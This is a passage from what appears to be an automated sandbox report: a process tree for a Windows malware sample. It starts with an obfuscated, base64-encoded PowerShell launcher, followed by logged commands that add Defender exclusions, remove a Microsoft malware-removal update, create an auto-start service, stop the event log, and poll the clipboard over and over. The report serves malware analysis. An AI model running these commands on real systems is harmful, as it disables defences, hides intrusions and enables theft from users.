wAdgAjAD4AIAAtAEMAaABpAGwAZABQAGEAdABoACAAJwBXAGkAbgBkAG8AdwBzAEQAZQBmAGUAbgBkAGUAcgAuAHYAYgBzACcAKQApADwAIwBqAHMAcAAjAD4AOwAgAFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIAAtAEYAaQBsAGUAUABhAHQAaAAgADwAIwBxAHkAdwAjAD4AIAAoAEoAbwBpAG4ALQBQAGEAdABoACAALQBQAGEAdABoACAAJABlAG4AdgA6AEEAcABwAEQAYQB0AGEAIAA8ACMAcgB3AGQAIwA+ACAALQBDAGgAaQBsAGQAUABhAHQAaAAgACcARwBvAG8AZwBsAGUAQwBoAHIAbwBtAGUALgBlAHgAZQAnACkAPAAjAHUAYwBtACMAPgA7ACAAUwB0AGEAcgB0AC0AUAByAG8AYwBlAHMAcwAgAC0ARgBpAGwAZQBQAGEAdABoACAAPAAjAGwAdgBnACMAPgAgACgASgBvAGkAbgAtAFAAYQB0AGgAIAAtAFAAYQB0AGgAIAAkAGUAbgB2ADoAQQBwAHAARABhAHQAYQAgADwAIwBmAGEAdAAjAD4AIAAtAEMAaABpAGwAZABQAGEAdABoACAAJwBVAHMAZQByAHoALgBlAHgAZQAnACkAPAAjAGIAbgBwACMAPgA7ACAAUwB0AGEAcgB0AC0AUAByAG8AYwBlAHMAcwAgAC0ARgBpAGwAZQBQAGEAdABoACAAPAAjAGsAZABnACMAPgAgACgASgBvAGkAbgAtAFAAYQB0AGgAIAAtAFAAYQB0AGgAIAAkAGUAbgB2ADoAQQBwAHAARABhAHQAYQAgADwAIwBkAHUAZQAjAD4AIAAtAEMAaABpAGwAZABQAGEAdABoACAAJwBCAHkAcABhAHMAcwAuAGUAeABlACcAKQA8ACMAdQBuAHkAIwA+ADsAIABTAHQAYQByAHQALQBQAHIAbwBjAGUAcwBzACAALQBGAGkAbABlAFAAYQB0AGgAIAA8ACMAeAByAGQAIwA+ACAAKABKAG8AaQBuAC0AUABhAHQAaAAgAC0AUABhAHQAaAAgACQAZQBuAHYAOgBBAHAAcABEAGEAdABhACAAPAAjAGEAegByACMAPgAgAC0AQwBoAGkAbABkAFAAYQB0AGgAIAAnAFcAaQBuAGQAbwB3AHMARABlAGYAZQBuAGQAZQByAC4AdgBiAHMAJwApADwAIwB1AGoAagAjAD4A"
    3⤵
    - Blocklisted process makes network request
    - Modifies registry class
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:3948
  - - C:\Users\Admin\AppData\Roaming\GoogleChrome.exe
      "C:\Users\Admin\AppData\Roaming\GoogleChrome.exe"
      4⤵
      Executes dropped EXE
      Drops file in System32 directory
      Suspicious behavior: EnumeratesProcesses
      PID:2708
    - - C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
        
        C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force
        5⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:4304
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart
        5⤵
        
        PID:2928
      - C:\Windows\system32\wusa.exe
        
        wusa /uninstall /kb:890830 /quiet /norestart
        6⤵
        
        PID:764
    - - C:\Windows\system32\sc.exe
        
        C:\Windows\system32\sc.exe delete "ZUXVIREU"
        5⤵
        Launches sc.exe
        
        PID:4964
    - - C:\Windows\system32\sc.exe
        
        C:\Windows\system32\sc.exe create "ZUXVIREU" binpath= "C:\ProgramData\kqyroqwlucgu\acdfownevzxz.exe" start= "auto"
        5⤵
        Launches sc.exe
        
        PID:3412
    - - C:\Windows\system32\sc.exe
        
        C:\Windows\system32\sc.exe stop eventlog
        5⤵
        Launches sc.exe
        
        PID:4472
    - - C:\Windows\system32\sc.exe
        
        C:\Windows\system32\sc.exe start "ZUXVIREU"
        5⤵
        Launches sc.exe
        
        PID:2188
  - - C:\Users\Admin\AppData\Roaming\Userz.exe
      "C:\Users\Admin\AppData\Roaming\Userz.exe"
      4⤵
      Executes dropped EXE
      Suspicious use of WriteProcessMemory
      PID:3272
    - - C:\Users\Admin\AppData\Roaming\Userz.exe
        
        "C:\Users\Admin\AppData\Roaming\Userz.exe"
        5⤵
        Executes dropped EXE
        Loads dropped DLL
        Adds Run key to start application
        Suspicious use of WriteProcessMemory
        
        PID:2588
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -command Get-Clipboard
        6⤵
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:2872
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -command Get-Clipboard
        6⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:2000
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -command Get-Clipboard
        6⤵
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:1632
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -command Get-Clipboard
        6⤵
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:4000
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -command Get-Clipboard
        6⤵
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:4832
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -command Get-Clipboard
        6⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:4304
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -command Get-Clipboard
        6⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:4324
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -command Get-Clipboard
        6⤵
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:3728
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -command Get-Clipboard
        6⤵
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:232
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -command Get-Clipboard
        6⤵
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:3672
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -command Get-Clipboard
        6⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:1368
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -command Get-Clipboard
        6⤵
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:2104
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -command Get-Clipboard
        6⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:3884
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -command Get-Clipboard
        6⤵
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:4092
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -command Get-Clipboard
        6⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:2700
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -command Get-Clipboard
        6⤵
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:4820
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -command Get-Clipboard
        6⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:1508
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -command Get-Clipboard
        6⤵
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:668
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -command Get-Clipboard
        6⤵
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:1368
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -command Get-Clipboard
        6⤵
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:2316
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -command Get-Clipboard
        6⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious use of AdjustPrivilegeToken
        
        PID:3916
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -command Get-Clipboard
        6⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious use of AdjustPrivilegeToken
        
        PID:1568
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -command Get-Clipboard
        6⤵
        Suspicious use of AdjustPrivilegeToken
        
        PID:4576
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -command Get-Clipboard
        6⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious use of AdjustPrivilegeToken
        
        PID:2592
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -command Get-Clipboard
        6⤵
        Suspicious use of AdjustPrivilegeToken
        
        PID:3528
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -command Get-Clipboard
        6⤵
        Suspicious use of AdjustPrivilegeToken
        
        PID:4240
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -command Get-Clipboard
        6⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious use of AdjustPrivilegeToken
        
        PID:2472
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -command Get-Clipboard
        6⤵
        Suspicious use of AdjustPrivilegeToken
        
        PID:1976
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -command Get-Clipboard
        6⤵
        Suspicious use of AdjustPrivilegeToken
        
        PID:3208
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -command Get-Clipboard
        6⤵
        Suspicious use of AdjustPrivilegeToken
        
        PID:3760
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -command Get-Clipboard
        6⤵
        Suspicious use of AdjustPrivilegeToken
        
        PID:1552
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -command Get-Clipboard
        6⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious use of AdjustPrivilegeToken
        
        PID:4356
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -command Get-Clipboard
        6⤵
        Suspicious use of AdjustPrivilegeToken
        
        PID:3508
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -command Get-Clipboard
        6⤵
        Suspicious use of AdjustPrivilegeToken
        
        PID:4320
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -command Get-Clipboard
        6⤵
        Suspicious use of AdjustPrivilegeToken
        
        PID:4908
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -command Get-Clipboard
        6⤵
        Suspicious use of AdjustPrivilegeToken
        
        PID:1720
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -command Get-Clipboard
        6⤵
        Suspicious use of AdjustPrivilegeToken
        
        PID:4112
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -command Get-Clipboard
        6⤵
        Suspicious use of AdjustPrivilegeToken
        
        PID:4344
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -command Get-Clipboard
        6⤵
        Suspicious use of AdjustPrivilegeToken
        
        PID:3548
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -command Get-Clipboard
        6⤵
        Suspicious use of AdjustPrivilegeToken
        
        PID:1328
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -command Get-Clipboard
        6⤵
        Suspicious use of AdjustPrivilegeToken
        
        PID:3640
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -command Get-Clipboard
        6⤵
        Suspicious use of AdjustPrivilegeToken
        
        PID:4008
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -command Get-Clipboard
        6⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious use of AdjustPrivilegeToken
        
        PID:3656
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -command Get-Clipboard
        6⤵
        Suspicious use of AdjustPrivilegeToken
        
        PID:2080
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -command Get-Clipboard
        6⤵
        Suspicious use of AdjustPrivilegeToken
        
        PID:4520
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -command Get-Clipboard
        6⤵
        Suspicious use of AdjustPrivilegeToken
        
        PID:3824
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -command Get-Clipboard
        6⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious use of AdjustPrivilegeToken
        
        PID:2236
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -command Get-Clipboard
        6⤵
        Suspicious use of AdjustPrivilegeToken
        
        PID:1684
        
        C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        7⤵
        
        PID:3548
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -command Get-Clipboard
        6⤵
        Suspicious use of AdjustPrivilegeToken
        
        PID:1228
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -command Get-Clipboard
        6⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious use of AdjustPrivilegeToken
        
        PID:3644
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -command Get-Clipboard
        6⤵
        Suspicious use of AdjustPrivilegeToken
        
        PID:3588
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -command Get-Clipboard
        6⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious use of AdjustPrivilegeToken
        
        PID:2276
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -command Get-Clipboard
        6⤵
        
        PID:3668
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -command Get-Clipboard
        6⤵
        
        PID:3424
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -command Get-Clipboard
        6⤵
        
        PID:2576
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -command Get-Clipboard
        6⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:2068
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -command Get-Clipboard
        6⤵
        
        PID:1708
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -command Get-Clipboard
        6⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:216
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -command Get-Clipboard
        6⤵
        
        PID:1804
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -command Get-Clipboard
        6⤵
        
        PID:968
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -command Get-Clipboard
        6⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:1080
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -command Get-Clipboard
        6⤵
        
        PID:3580
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -command Get-Clipboard
        6⤵
        
        PID:2316
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -command Get-Clipboard
        6⤵
        
        PID:3988
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -command Get-Clipboard
        6⤵
        
        PID:3672
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -command Get-Clipboard
        6⤵
        
        PID:1076
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -command Get-Clipboard
        6⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:4356
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -command Get-Clipboard
        6⤵
        
        PID:4948
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -command Get-Clipboard
        6⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:3640
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -command Get-Clipboard
        6⤵
        
        PID:3312
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -command Get-Clipboard
        6⤵
        
        PID:2496
        
        C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        7⤵
        
        PID:4908
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -command Get-Clipboard
        6⤵
        
        PID:3288
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -command Get-Clipboard
        6⤵
        
        PID:1368
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -command Get-Clipboard
        6⤵
        
        PID:2432
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -command Get-Clipboard
        6⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:2408
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -command Get-Clipboard
        6⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:2704
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -command Get-Clipboard
        6⤵
        
        PID:3284
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -command Get-Clipboard
        6⤵
        
        PID:1876
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -command Get-Clipboard
        6⤵
        
        PID:1908
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -command Get-Clipboard
        6⤵
        
        PID:3100
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -command Get-Clipboard
        6⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:3000
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -command Get-Clipboard
        6⤵
        
        PID:2200
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -command Get-Clipboard
        6⤵
        
        PID:1860
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -command Get-Clipboard
        6⤵
        
        PID:4484
        
        C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        7⤵
        
        PID:4520
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -command Get-Clipboard
        6⤵
        
        PID:544
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -command Get-Clipboard
        6⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:4260
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -command Get-Clipboard
        6⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:1172
        
        C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        7⤵
        
        PID:2704
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -command Get-Clipboard
        6⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:2932
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -command Get-Clipboard
        6⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:2360
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -command Get-Clipboard
        6⤵
        
        PID:3412
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -command Get-Clipboard
        6⤵
        
        PID:4608
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -command Get-Clipboard
        6⤵
        
        PID:692
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -command Get-Clipboard
        6⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:5032
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -command Get-Clipboard
        6⤵
        
        PID:1100
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -command Get-Clipboard
        6⤵
        
        PID:4520
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -command Get-Clipboard
        6⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:1032
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -command Get-Clipboard
        6⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:3684
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -command Get-Clipboard
        6⤵
        
        PID:1980
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -command Get-Clipboard
        6⤵
        
        PID:5052
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -command Get-Clipboard
        6⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:2032
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -command Get-Clipboard
        6⤵
        
        PID:2180
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -command Get-Clipboard
        6⤵
        
        PID:4440
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -command Get-Clipboard
        6⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:2200
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -command Get-Clipboard
        6⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:2128
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -command Get-Clipboard
        6⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:4112
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -command Get-Clipboard
        6⤵
        
        PID:5108
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -command Get-Clipboard
        6⤵
        
        PID:2860
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -command Get-Clipboard
        6⤵
        
        PID:4820
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -command Get-Clipboard
        6⤵
        
        PID:3284
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -command Get-Clipboard
        6⤵
        
        PID:4416
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -command Get-Clipboard
        6⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:2700
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -command Get-Clipboard
        6⤵
        
        PID:4012
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -command Get-Clipboard
        6⤵
        
        PID:2660
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -command Get-Clipboard
        6⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:1672
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -command Get-Clipboard
        6⤵
        
        PID:2968
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -command Get-Clipboard
        6⤵
        
        PID:1552
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -command Get-Clipboard
        6⤵
        
        PID:1384
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -command Get-Clipboard
        6⤵
        
        PID:3916
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -command Get-Clipboard
        6⤵
        
        PID:3352
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -command Get-Clipboard
        6⤵
        
        PID:2528
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -command Get-Clipboard
        6⤵
        
        PID:4944
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -command Get-Clipboard
        6⤵
        
        PID:2840
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -command Get-Clipboard
        6⤵
        
        PID:4324
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -command Get-Clipboard
        6⤵
        
        PID:4596
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -command Get-Clipboard
        6⤵
        
        PID:4316
        
        C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        7⤵
        
        PID:2200
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -command Get-Clipboard
        6⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:4532
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -command Get-Clipboard
        6⤵
        
        PID:1716
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -command Get-Clipboard
        6⤵
        
        PID:4560
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -command Get-Clipboard
        6⤵
        
        PID:4712
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -command Get-Clipboard
        6⤵
        
        PID:4496
        
        C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        7⤵
        
        PID:2932
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -command Get-Clipboard
        6⤵
        
        PID:2488
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -command Get-Clipboard
        6⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:3412
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -command Get-Clipboard
        6⤵
        
        PID:4220
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -command Get-Clipboard
        6⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:232
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -command Get-Clipboard
        6⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:4344
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -command Get-Clipboard
        6⤵
        
        PID:2372
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -command Get-Clipboard
        6⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:3532
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -command Get-Clipboard
        6⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:2516
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -command Get-Clipboard
        6⤵
        
        PID:512
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -command Get-Clipboard
        6⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:4260
        
        C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        7⤵
        
        PID:2860
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -command Get-Clipboard
        6⤵
        
        PID:1908
        
        C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        7⤵
        
        PID:3352
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -command Get-Clipboard
        6⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:1172
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -command Get-Clipboard
        6⤵
        
        PID:3400
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -command Get-Clipboard
        6⤵
        
        PID:4044
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -command Get-Clipboard
        6⤵
        
        PID:1368
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -command Get-Clipboard
        6⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:4116
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -command Get-Clipboard
        6⤵
